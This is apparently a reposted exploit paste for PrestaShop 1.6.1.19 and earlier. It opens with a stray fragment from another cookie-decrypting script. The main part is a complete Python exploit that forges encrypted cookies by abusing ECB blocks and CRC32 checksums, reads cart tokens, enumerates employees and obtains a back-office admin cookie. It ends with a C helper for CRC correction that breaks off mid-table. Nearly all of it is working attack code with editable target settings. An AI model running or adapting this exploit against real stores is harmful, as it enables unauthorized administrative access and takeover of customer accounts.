    try:
        print("COOKIE: %s" % result.decode())
    except UnicodeDecodeError:
        print("COOKIE: Unable to decode, wait for next block")
HireHackking 
<--- exploit.py --->
#!/usr/bin/env python3
# PrestaShop <= 1.6.1.19 Privilege Escalation
# Charles Fol
# 2018-07-10
#
# See https://ambionics.io/blog/prestashop-privilege-escalation
#
#
# The condition for this exploit to work is for an employee to have the same
# password as a customer. The exploit will yield a valid employee cookie for
# back office access.
#
# With a bit of tweaking, one can modify the exploit to access any customer
# account, get access to statistics, coupons, etc. or get an admin CSRF token.
#
# The attack may fail for a variety of reasons, including me messing up the
# padding somewhere. You might need to run the exploit several times.
# 
# POSSIBLE IMPROVEMENTS
# - Improve the employee detection method
# - Implement the RCE step
#

# gcc -o crc_xor crc_xor.c
# vi exploit.py
# ./exploit.py

import requests
import urllib.parse
import binascii
import string
import itertools
import sys
import os
import re


# EDIT THIS

BASE_URL = 'http://vmweb3.corp.lexfo.fr/prestashop'
ADMIN_URL = 'http://vmweb3.corp.lexfo.fr/prestashop/admin2904aqvyb'

CUSTOMER_EMAIL = 'user@user.io'
CUSTOMER_PASSWORD = 'password2'


# Helpers

def http_session():
    """Every HTTP session will be spawned from this function. You can add a
    proxy or custom rules.
    """
    s = requests.Session()
    #s.proxies = {'http': 'localhost:8080'}
    return s

def bl(string):
    """¤ is 2 bytes long, which forces us to encode strings before using len().
    """
    return len(string.encode())

def cs(blocks, offset=0):
    """Computes the full size of the cookie and returns it as a last 6-digit
    block.
    """
    if offset > 0:
        offset -= SIZE_BLOCK
    return [
        '%06d' % (len(blocks) * SIZE_BLOCK + offset)
    ]

def xor(a, b):
    """XORs two strings and returns the result as bytes.
    """
    return bytes(x ^ y for x, y in zip(a.encode(), b.encode()))

def pb(n, z=False):
    """Returns the padding required to align n with SIZE_BLOCK, and its position
    in blocks. The z flag indicates if padding can be zero.
    """
    padding = (- n) % SIZE_BLOCK
    if z and padding == 0:
        padding = SIZE_BLOCK
    block = (n + padding) // SIZE_BLOCK
    return padding, block


crc32 = binascii.crc32

SIZE_BLOCK = 8
BASE_BYTE = '`'
SIZE_LASTNAME_TO_FIRSTNAME = bl(
    '¤customer_firstname|'
)
SIZE_FIRSTNAME_TO_PASSWD = bl(
    '¤logged|1¤is_guest|¤passwd|'
)
SIZE_FIRSTNAME_TO_EMAIL = SIZE_FIRSTNAME_TO_PASSWD + bl(
    '86df199881eaf8e9bb158c4f6b71ca0a¤email|'
)
# Variable: it is properly set in PrestaShop.find_alignment
SIZE_EMAIL_TO_END = bl(
    '¤id_cart|12345¤id_guest|6¤'
)

ZERO_BLOCK = b'\x00' * SIZE_BLOCK

FIRSTNAME = BASE_BYTE * 32
CHARSET_LASTNAME = string.ascii_letters
EMAIL_DOMAIN = '@test.fr'

MAX_ID_CUSTOMER = 100
MAX_ID_EMPLOYEE = 100


# Exploit classes


class Exploitation:
    """Exploitation class. Handles the flow of the attack.
    The main process is the following:

    1. X = read(cart_id)
    2. Change password to recover_cart_X
    3. read(password)
        -> we have a token to recover the cart, and therefore the customer
           password
    4. write(id_employee, Z)
    5. write(id_customer, Y)
        -> customer Y associated with cart_id X
    6. Do the "Recover cart" procedure with the token
    7. Access backoffice. If employee's Z password is the same as customer
       Y, then we obtain backoffice access
    """

    def __init__(self, session, email, password):
        self.s = http_session()
        self.ps = PrestaShop(session, email, password)
        Cookie.ps = self.ps

    def prelude(self):
        self.ps.login()
        self.ps.find_alignment()
        self.ps.get_encrypted_numbers()
        self.ps.build_cookies()

    def run(self):
        """Runs the exploit.
        """
        self.prelude()

        id_cart = self.read_id_cart()
        token = self.read_cart_token(id_cart)

        self.get_employee_cookie_name()
        self.get_write_blocks()
        self.get_nb_employees()

        for target_customer in range(1, MAX_ID_CUSTOMER):
            if not self.associate_id_customer(target_customer):
                break

            for target_employee in range(1, self.nb_employees+1):
                print("Trying customer[%d] employee[%d]" % (
                    target_customer, target_employee
                ))
                cookie = self.write_id_employee(target_employee)
                cookie = self.recover_cart(id_cart, token, cookie)

                if cookie:
                    print('Success !!!')
                    print('Backoffice cookie:')
                    print('%s=%s' % (self.employee_cookie_name, cookie))
                    return
        
        print('No employee has the same password as a customer')

    def get_employee_cookie_name(self):
        """Obtains the name of the cookie for the backoffice.
        """
        self.s.get(ADMIN_URL + '/index.php')
        
        for c, v in self.s.cookies.items():
            if c.startswith('PrestaShop-'):
                self.employee_cookie_name = c
                break
        else:
            raise ValueError('Unable to find customer cookie')

        print('Employee cookie name: %s' % self.employee_cookie_name)

    def get_nb_employees(self):
        """Obtains the number of employees by requesting pdf.php with a spoofed
        id_employee cookie and iterating.

        It breaks after the first failure, so there might be cases where it
        fails to detect every employee.
        """
        ecn = self.employee_cookie_name
        
        for i in range(1, MAX_ID_EMPLOYEE):
            cookie = self.write_id_employee(i)
            self.s.cookies.clear()
            self.s.cookies[ecn] = str(cookie)
            r = self.s.get(ADMIN_URL + '/pdf.php', allow_redirects=False)

            if r.status_code != 200:
                break

        self.s.cookies.clear()
        self.nb_employees = i - 1
        print('There are at least %d employees' % self.nb_employees)

    def recover_cart(self, id_cart, token, cookie):
        """Performs the recover cart action with a cookie containing id_employee
        so that the returned cookie contains a password hash and an employee ID.
        This cookie can then be sent to the admin interface to verify it works.
        """
        s = self.s
        s.cookies.clear()
        s.cookies[cookie.name] = str(cookie)
        r = s.post(
            BASE_URL + '/index.php',
            data={
                'token_cart': token,
                'recover_cart': '%d' % id_cart
            },
            allow_redirects=False
        )

        s.cookies.clear()
        s.cookies[self.employee_cookie_name] = r.cookies[cookie.name]
        r = s.get(
            ADMIN_URL + '/index.php?controller=AdminDashboard',
            allow_redirects=False
        )

        if 'AdminLogin' not in r.headers.get('Location', ''):
            return r.cookies[self.employee_cookie_name]

        return None

    def get_write_blocks(self):
        """Gets encrypted blocks for ¤id_employee and ¤id_customer.
        """
        blocks = {}

        # ...¤id_

        cookie, block = self.pad_lastname(
            SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL +
            bl(self.ps.email) +
            bl('¤id_')
        )

        blocks['¤id_'] = cookie.blocks[block-1]

        # customer and employee

        cookie = self.ps.set_identity(
            lastname=BASE_BYTE * self.ps.i + 'customeremployee'
        )
        blocks['customer'] = cookie.blocks[self.ps.p]
        blocks['employee'] = cookie.blocks[self.ps.p + 1]

        self.blocks = blocks

    def get_pipe_number(self, n):
        """Get the encrypted block for |000000N.
        """
        self.ps.set_identity(
            email=('%07d' + EMAIL_DOMAIN) % n
        )
        cookie, block = self.pad_lastname(
            SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL - 1
        )
        return cookie.blocks[block]

    def write_id_person(self, person, id):
        """Writes the given employee/customer ID in the cookie.
        """
        plaintext = self.ps.email[-3:] + '¤id_%s|%07d' % (person, id)
        blocks = [
            self.blocks['¤id_'],
            self.blocks[person],
            self.get_pipe_number(id)
        ]
        
        return self.ps.writable_cookie.write(plaintext, blocks)

    def write_id_customer(self, id):
        """Writes id_customer for the given ID.
        """
        return self.write_id_person('customer', id)

    def write_id_employee(self, id):
        """Writes id_employee for the given ID.
        """
        return self.write_id_person('employee', id)

    def associate_id_customer(self, id):
        """Writes id_customer in our cookie in order to associate it to our cart
        ID.
        """
        s = self.s

        # Write id_customer|X
        
        cookie = self.write_id_customer(id)
        s.cookies.clear()
        s.cookies[cookie.name] = str(cookie)

        # Associate the customer with the cart
        r = s.get(
            BASE_URL + '/index.php?controller=identity',
            allow_redirects=False
        )

        matches = re.findall(
            'id="(firstname|lastname|email)"[^>]+value="(.*?)"',
            r.text
        )
        if not matches:
            return False

        matches = {k: v for k, v in matches}
        print(
            'Got customer account: {lastname} {firstname} [{email}]'.format(
                **matches
            )
        )
        return True

    def read_id_cart(self):
        """Get id_cart's value by padding the cookie and reading the block.
        """
        cookie, block = self.pad_lastname(
            SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL +
            bl(self.ps.email) +
            bl('¤id_cart|')
        )

        # Since the cart ID usually fits in one block, we need to bruteforce its
        # size by changing the size of the cookie (last block contains size of
        # cookie)
        id_cart = None
        for i in range(1, 10):
            rcookie = self.ps.readable_cookie.extend(
                [cookie.blocks[block]],
                offset=i
            )
            try:
                id_cart = rcookie.read()
            except ValueError:
                break

        if not id_cart:
            raise ValueError('Unable to read id_cart')

        # ¤ is two bytes long, so the last character of the obtained id_cart
        # will be \xc2, which we need to remove
        id_cart = int(id_cart[:-1])
        print('Cart ID: %d' % id_cart)

        # The last try broke our cookie, and we're therefore logged out
        self.ps.login()

        return id_cart

    def read_cart_token(self, id_cart):
        """Set password to recover_cart_X and read it.
        """
        self.ps.set_identity(
            passwd='recover_cart_%d' % id_cart
        )
        cookie, block = self.pad_lastname(
            SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_PASSWD
        )

        rcookie = self.ps.readable_cookie.extend(cookie.blocks[block:block+4])
        token = rcookie.read().decode()

        print('Recover Cart token: %s' % token)
        return token

    def pad_lastname(self, offset):
        """Get a cookie where the value we want to read, which is offset bytes
        away from the last character of the lastname, is aligned with SIZE_BLOCK
        and therefore at the beginning of a block.
        """
        padding, block = pb(bl(FIRSTNAME) + offset)

        cookie = self.ps.set_identity(
            lastname=BASE_BYTE * (self.ps.i + padding)
        )
        block += self.ps.p

        return cookie, block


class CRCPredictor:
    """Implements the resolution of the CRC system of equation.
    It works by iterating on a set of possible values.

    For instance, let's say we obtained 3 as the last digit for cookie A.
    The only possible CRCs at this point are the ones whose last digit is 3.
    So, we store them.
    The CRCs for the next cookie, B, must necessarily validate the equation:
    CRC(B) = CRC(A) ^ CRC(A ^ B) ^ C (C is constant).
    Therefore, we can update our stored checksums by xoring them with
    CRC(A ^ B) ^ C. The stored checksums are now the candidates for B.
    Now, let's say we obtain 5 as the last digit for B. We can throw away any
    candidate which does not end with 5. By repeating this, we will reach a
    valid checksum fairly quickly.
    """

    ORDER = 10

    def __init__(self, zeros, payload_size):
        self.payloads = []
        self.digits = None
        self.candidates = None
        self.zeros = b"\x00" * zeros
        self.zero_crc = crc32(b"\x00" * (payload_size + zeros))

    def purge_candidates(self, digits):
        """Removes candidates that do not end with given digits, and candidates
        with less than 10 digits.
        """
        ORDER = self.ORDER
        candidates = self.candidates

        if candidates is not None:
            candidates = [
                c for c in candidates if c % ORDER == digits
            ]
        # The very first set of candidates (before the first char) is the
        # entirety of [0, 2**32-1], which is way too big, so we only compute
        # candidates after the two first digits have been set.
        elif self.digits is None:
            self.digits = digits
        else:
            print("Generating first solution range (takes some time) ...")
            d = self.delta(self.payloads[-2], self.payloads[-1])
            candidates = [
                i ^ d for i in range(10 ** 9 + self.digits, 0x100000000, ORDER)
                if (i ^ d) % ORDER == digits
            ]

        self.candidates = candidates

    def has_solution(self):
        """Returns true if the system has been solved.
        """
        return self.candidates is not None and len(self.candidates) <= 1

    def solution(self):
        """Returns the solution.
        """
        return self.candidates[0]

    def delta(self, p0, p1):
        """Computes CRC(A ^ B) ^ C.
        """
        d = xor(p0, p1)
        return crc32(d + self.zeros) ^ self.zero_crc

    def update_candidates(self, payload):
        """Updates every candidate CRC for next payload by xoring them with
        CRC(A ^ B) ^ C.
        """
        ORDER = self.ORDER
        self.payloads.append(payload)

        if self.candidates is None:
            return set(range(ORDER))

        delta = self.delta(self.payloads[-2], self.payloads[-1])

        self.candidates = [
            crc ^ delta
            for crc in self.candidates
        ]
        # Only keep 10-digit values as other values are not used
        self.candidates = [
            c for c in self.candidates if c >= 1000000000
        ]

        if not self.candidates:
            raise ValueError('Checksum equations have no solution !')

        # Return possible last digits for the new char
        return set(c % ORDER for c in self.candidates)


class PrestaShop:
    """Contains several helpers for the interaction with the PrestaShop website
    and cookie manipulation. Responsible for the read and write exploit
    primitives.
    """

    def __init__(self, session, email, password):
        self.s = session
        self.email = email
        self.original_email = self.email
        self.password = password
        self.original_password = self.password

    def post(self, url, **kwargs):
        headers = kwargs.get('headers', {})
        headers['Referer'] = url
        return self.s.post(BASE_URL + url, **kwargs)

    def cookie(self):
        """Extracts the cookie from the requests session.
        """
        for c, v in self.s.cookies.items():
            if c.startswith('PrestaShop-'):
                return Cookie(c, v)

        raise ValueError('Unable to find customer cookie')

    def login(self):
        """Logs into PrestaShop using email/password.
        """ 
        self.s.cookies.clear()
        r = self.post(
            '/index.php?controller=authentication',
            data={
                'email': self.email,
                'passwd': self.password,
                'back': 'identity',
                'SubmitLogin': ''
            },
            allow_redirects=False
        )

        if not r.headers.get('Location', '').endswith('controller=identity'):
            raise ValueError('Invalid credentials')

        return self.cookie()

    def set_identity(self, **data):
        """Changes the identity of the current user. This generally involves
        changing firstname, lastname, and email.
        """
        assert all(v != '' for v in data.values()), (
            "Data contains an empty value"
        )

        if 'email' in data:
            self.email = data['email']
        if 'passwd' in data:
            data['confirmation'] = data['passwd']

        defaults = {
            'id_gender': '1',
            'firstname': FIRSTNAME,
            'lastname': 'User',
            'email': self.email,
            'days': '1',
            'months': '1',
            'years': '1990',
            'old_passwd': self.password,
            'passwd': '',
            'confirmation': '',
            'submitIdentity': ''
        }
        defaults.update(data)
        r = self.post(
            '/index.php?controller=identity',
            data=defaults
        )

        if 'passwd' in data:
            self.password = data['passwd']

        # If we changed the email or the password, we need to login again
        if 'email' in data:
            return self.login()

        return self.cookie()

    def find_alignment(self):
        """Obtains the position of the first repeated block of customer_lastname
        along with its offset from the start of the string. Also, computes
        SIZE_EMAIL_TO_END.

        Example:
        ...customer_lastname|BBAAAAAAAAAAAAAAAA...
        ...----++++++++--------++++++++--------...
                             ^^ Offset = 2
                               ^ Position of the first repeated block
        """
        cookie = self.set_identity(
            lastname='A' * SIZE_BLOCK * 4
        )

        #print(setup_cookie)

        last = None
        for p, block in enumerate(cookie.blocks):
            if block == last:
                break
            last = block
        else:
            raise ValueError('Unable to find identical blocks')

        p = p - 1
        print('First identical block:', p, block)

        # Pad with Bs until the first block is modified to obtain alignment

        for i in range(1, SIZE_BLOCK):
            cookie = self.set_identity(
                lastname=('B' * i) + ('A' * (SIZE_BLOCK * 4 - i))
            )
            if cookie.blocks[p] != block:
                break
        else:
            raise ValueError('Unable to pad blocks')

        i = i - 1
        print('Offset from "customer_lastname|":', i)

        self.p = p
        self.i = i

        # We also need to setup this length dynamically

        global SIZE_EMAIL_TO_END

        # Fix the id_connection problem
        self.login()

        # Grab 10 slightly different cookies, and get the longest one
        max_size = max(
            self.set_identity(lastname=c * 8).size()
            for c in 'ABCDEFGHIJ'
        )

        SIZE_EMAIL_TO_END = (
            max_size - (
                self.p * SIZE_BLOCK - self.i +
                8 +
                SIZE_LASTNAME_TO_FIRSTNAME +
                bl(FIRSTNAME) +
                SIZE_FIRSTNAME_TO_EMAIL +
                bl(self.original_email) +
                bl('checksum|') +
                10
            )
        )
        print('Size from "email|" to end: %d' % SIZE_EMAIL_TO_END)


    def get_encrypted_blocks(self, blocks):
        """Uses the email address to get a bunch of encrypted blocks.
        """
        # Align the first character of the email with a block so that we obtain
        # 15 blocks per try        
        # SIZE_CUSTOMER_LASTNAME_KEY_TO_EMAIL =
        distance = - self.i + bl(
            '¤customer_firstname|' + FIRSTNAME
        ) + SIZE_FIRSTNAME_TO_EMAIL
        alignment, first_block = pb(distance)
        first_block += self.p

        cookie = self.set_identity(
            lastname='A' * alignment,
            email=''.join(blocks) + EMAIL_DOMAIN
        )
        return cookie.blocks[first_block:first_block+len(blocks)]

    def get_encrypted_numbers(self, size=1):
        """Builds blocks starting with numbers and cipher them.
        """
        encrypted_numbers = []

        # 15 blocks can be ciphered at once:
        # |email| = 128, |domain| = 8
        # |email| - |domain| = 120
        # 120 / SIZE_BLOCK = 15
        step = 15
        for i in range(0, 10 ** size, step):
            # Convert the each of number into a block:
            # 3 -> 03xxxxxx
            numbers = [
                str(i+n).rjust(size, '0').ljust(SIZE_BLOCK, 'x')
                for n in range(step)
            ]
            encrypted_numbers += self.get_encrypted_blocks(numbers)

        self.reset()
        self.encrypted_numbers = encrypted_numbers[:10 ** size]

    def discover_crc(self):
        """By correctly padding the cookie, we can force the last digit of the
        CRC to be in the last block, on its own. From this, and by using the
        email field to translate, we can guess what this digit is by replacing
        the last block by 0xxxxxx, 1xxxxxx, 2xxxxxx, etc. until the
        cookie is accepted.
        Then, we can slightly change the cookie's content, and obtain the last
        digits for the new checksum. Due to the fact that CRC is affine, we can
        build an equation on the last two digits of these checksums.
        By repeating the operation, we get a set of equations, and solving it
        reveals the value of the checksum.

        Returns a magic cookie and its checksum.
        """

        print('Discovering CRC checksum...')

        lo_digits = 1
        nb_requests = 0

        encrypted_numbers = self.encrypted_numbers

        # We only work with 10-digit checksums, and the probability of not
        # getting any 10-digit checksum over 10 requests is equal to 4.68e-07,
        # so we'll iterate 10 times and keep the longest cookie
        
        max_size = 0
        cookie_base = None

        for i in range(10):
            cookie_base = self.set_identity(
                lastname=CHARSET_LASTNAME[i] * SIZE_BLOCK
            )
            if max_size < cookie_base.size():
                max_size = cookie_base.size()

        # Checksum alignment: build a cookie such that the last block contains
        # lo_digits digits

        alignment_checksum = ((lo_digits - max_size) % SIZE_BLOCK) + SIZE_BLOCK

        s = http_session()

        payload_size = 2
        zeros = (
            SIZE_LASTNAME_TO_FIRSTNAME +
            bl(FIRSTNAME) +
            SIZE_FIRSTNAME_TO_EMAIL +
            bl(self.original_email) +
            SIZE_EMAIL_TO_END
        )
        lastname = None
        predictor = CRCPredictor(zeros, payload_size)
        cache = {}

        # On each iteration, we replace some chars and keep the same length,
        # so that the affine property of CRC stays valid.
        # We then update our candidates using CRCPredictor, until one value's
        # left.
        for payload in itertools.product(CHARSET_LASTNAME, repeat=payload_size):
            payload = ''.join(payload)
            lastname = 'A' * (alignment_checksum - payload_size) + payload
            cookie = self.set_identity(
                lastname=lastname
            )
            nb_requests += 1

            # Only use 10-digit cookies
            if cookie.size() % SIZE_BLOCK != lo_digits:
                continue

            candidates = predictor.update_candidates(payload)

            # No point verifying if we have only one possibility, skip
            if len(candidates) == 1:
                predictor.purge_candidates(list(candidates)[0])
                if predictor.has_solution():
                    break
                continue

            # If the single-digit block has already been seen, we can map it
            # immediately

            original_block = cookie.blocks[-2]

            if original_block in cache:
                n = cache[original_block]
                print('%s %d %s !' % (payload, n, original_block))
                predictor.purge_candidates(n)
                continue

            #print(cookie)
            #print(candidates)

            # Bruteforce the last digit of the checksum by replacing the last
            # block by an encrypted number until it works
            for n in candidates:
                cookie.blocks[-2] = encrypted_numbers[n]
                print('%s %d %s' % (payload, n, cookie.blocks[-2]), end='\r')

                response = s.head(
                    BASE_URL + '/index.php?controller=identity',
                    headers={'Cookie': '%s=%s' % (cookie.name, cookie)}
                )
                nb_requests += 1
                location = response.headers.get('Location', '')
                if 'controller=authentication' not in location:
                    print('')
                    break
            else:
                # This should not happen
                raise ValueError(
                    'Unable to guess digits for payload %r' % payload
                )

            cache[original_block] = n
            predictor.purge_candidates(n)

            cookie.blocks[-2] = original_block

            if predictor.has_solution():
                break
        else:
            # This should not happen
            raise ValueError('Unable to compute checksum value')

        checksum = predictor.solution()
        print('Checksum discovered: %s (%d requests)' % (checksum, nb_requests))
        
        return cookie, checksum

    def build_cookies(self):
        self.build_writable_cookie()
        self.build_readable_cookie()

    def build_writable_cookie(self):
        """Builds the first extendable cookie. It involves finding out the
        checksum value, and building the standard ending blocks.
        """

        cookie, checksum = self.discover_crc()
        
        # ¤ custom
        block_o = self.set_identity(
            lastname='A' * (self.i + SIZE_BLOCK)
        ).blocks[self.p + 1]

        # AAAAA¤ c
        block_c = self.set_identity(
            lastname='A' * (self.i + 5)
        ).blocks[self.p]

        # hecksum|
        offset = (
            SIZE_LASTNAME_TO_FIRSTNAME +
            bl(FIRSTNAME) +
            SIZE_FIRSTNAME_TO_EMAIL +
            bl(self.email) +
            SIZE_EMAIL_TO_END +
            bl('checksum|')
        )
        offset, _ = pb(offset) 
        block_s = self.set_identity(
            lastname='A' * (self.i + offset)
        ).blocks[-4]

        WritableCookie.blocks_checksum = [
            block_o,
            block_c,
            block_s
        ]
        self.writable_cookie = WritableCookie(
            cookie.name, cookie.blocks, checksum
        )
        print('Generated extendable cookie.')

    def build_readable_cookie(self):
        """To read arbitrary blocks we need to integrate the checksum and add
        customer_firstname|... at the end.
        """
        
        p = self.p
        i = self.i
        
        # AAA¤ customer_firstname|````````
        # ++++++++--------++++++++--------
        c0 = self.set_identity(
            lastname='A' * (i + 3)
        )

        cookie = self.writable_cookie
        self.readable_cookie = cookie.eat_checksum(3, c0.blocks[p:p+4])
        print('Generated read cookie.')

    def reset(self):
        return self.set_identity(
            email=self.original_email,
            passwd=self.original_password
        )


class Cookie:
    """Standard Prestashop cookie class. Splits the cookie into blocks.
    """

    def __init__(self, name, value):
        self.name = name
        if isinstance(value, str):
            self.check_consistent(value)
            self.blocks = urllib.parse.unquote(value).split('=')
        else:
            self.blocks = value

    def check_consistent(self, value):
        """Checks if the given string is a valid ECB cookie.
        """
        value = urllib.parse.unquote(value)
        if not re.match('([0-9A-Za-z/+]{11}=)*[0-9]{6}', value):
            raise ValueError('Invalid cookie')


    def clone(self):
        return self.__class__(self.name, str(self))

    def size(self):
        """Last block is the size of the whole payload.
        """
        return int(self.blocks[-1])

    def __str__(self):
        return '='.join(self.blocks).replace('+', '%2B')

class WritableCookie(Cookie):
    """Cookie with known checksum. It can be extended by adding encrypted blocks
    with a known plaintext, and recomputing the checksum.
    """

    blocks_checksum = None

    def __init__(self, name, blocks, checksum):
        super().__init__(name, blocks)
        self.checksum = checksum

    def write(self, plaintext, blocks):
        """Adds blocks to current cookie, recomputes the checksum, and returns
        the new cookie.
        """
        assert bl(plaintext) == len(blocks) * SIZE_BLOCK, (
            "Plaintext's size does not match blocks'"
        )

        # Compute the new checksum and get its encrypted blocks
        plaintext = (
            'ch' +
            plaintext +
            '¤custom' +
            'AAAAA¤'
        )
        checksum = crc32(plaintext.encode(), self.checksum)
        encrypted_checksum = self.ps.get_encrypted_blocks([
            '%08d' % (checksum // 100),
            '%02dxxxxxx' % (checksum % 100)
        ])
        self.ps.reset()
        
        # PLAINTEXT ORIGIN
        # ¤ custom  customer_firstname }
        # AAAAA¤ c  customer_firstname } blocks_checksum
        # hecksum|  discover           }
        # 12345678  email
        # 90xxxxxx  email
        blocks = (
            self.blocks[:-4] +
            blocks +
            self.blocks_checksum +
            encrypted_checksum
        )
        blocks += cs(blocks, 2)

        return WritableCookie(self.name, blocks, checksum)

    def eat_checksum(self, rotations, read_blocks):
        """Adds a correction block to the cookie so that the checksum stays the
        same, and the last key/value pair is freed. End represents the plaintext
        that is meant to be added after the correction block.

        Initial cookie end:
        ¤checksum|1234567890
        New cookie end:
        ¤checksum|1234567890       ABCDEFGH
        Where ABCDEFGH is the correction block.
        New cookie end with added KVP:
        ¤checksum|1234567890       ABCDEFGH¤customer_lastname|ABC...

        This allows to add another key/value pair, which won't be included in
        the checksum computation, at the end of the cookie. This pair can be
        anything and therefore include blocks with unknown plaintext.
        """

        # Add a correction block such that the CRC of the cookie does not change
        # Note: the last block is supposed to be padded with spaces, but the
        # code is broken. It will add 1 space instead of 7 in our case, the
        # rest will be null bytes.
        added = 'checksum|%010d \x00\x00\x00\x00\x00\x00' % self.checksum
        current_checksum = crc32(added.encode(), self.checksum)

        # Goal: crc32(correction_block, current_checksum) == self.checksum
        os.system('./crc_xor %u %u %u' % (
            current_checksum,
            self.checksum,
            rotations
        ))
        with open('./crc_xor_result', 'r') as h:
            correction_block = h.read()

        print('Got correction block: %s' % correction_block)
        c = self.ps.set_identity(
            lastname='A' * self.ps.i + correction_block
        )
        blocks = self.blocks[:-1] + [c.blocks[self.ps.p]] + read_blocks
        blocks += cs(blocks)
        
        return ReadableCookie(self.name, blocks)


class ReadableCookie(Cookie):
    """Cookie which ate its checksum. The last value can contain anything.
    It can be used to decipher arbitrary data:

    >>> rc.extend(['SUsidYDY']).read()
    'hello123'
    """

    def __init__(self, name, value):
        super().__init__(name, value)
        self.response = None

    def extend(self, blocks, offset=0):
        blocks = self.blocks[:-1] + blocks
        blocks += cs(blocks, offset)
        return self.__class__(self.name, blocks)

    def request(self):
        if not self.response:
            s = http_session()
            response = s.get(
                BASE_URL + '/index.php?mobile_theme_ok=1',
                headers={
                    'Cookie': '%s=%s' % (self.name, self)
                }
            )
            self.response = response    
        return self.response  

    def read(self):
        response = self.request()
        match = re.search(b'>````````(.*?) A+..<', response.content, flags=re.S)
        if not match:
            raise ValueError('Unable to find firstname/lastname in page')
        return match.group(1)


s = http_session()

exploit = Exploitation(
    s,
    CUSTOMER_EMAIL,
    CUSTOMER_PASSWORD
)

try:
    exploit.run()
except Exception as e:
    raise e
finally:
    exploit.ps.reset()

</--- exploit.py --->

<--- crc_xor.c --->
/*
gcc -O3 -o crc_xor crc_xor.c
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>


#define MIN_VALUE 65
#define MAX_VALUE 122

#define SIZE_CORRECTION_BLOCK 8
#define OUTPUT_FILE_FORMAT "./%s_result"

/* generated using the AUTODIN II polynomial
 *	x^32 + x^26 + x^23 + x^22 + x^16 +
 *	x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1
 */

char filename[32];

static const uint crc32tab[256] = {
	0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,
	0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,
	0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
	0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,
	0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
	0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
	0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,
	0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,
	0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
	0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
	0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,
	0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
	0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,
	0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,
	0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
	0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,
	0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,
	0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
	0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,
	0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
	0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
	0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,
	0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,
	0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
	0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
	0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,
	0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
	0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,
	0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,
	0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
	0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,
	0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,
	0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
	0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,
	0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
	0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
	0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,
	0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,
	0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
	0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
	0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,
	0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
	0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,
	0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,
	0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
	0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,
	0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,
	0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
	0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,
	0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
	0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
	0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,
	0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,
	0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
	0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
	0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,
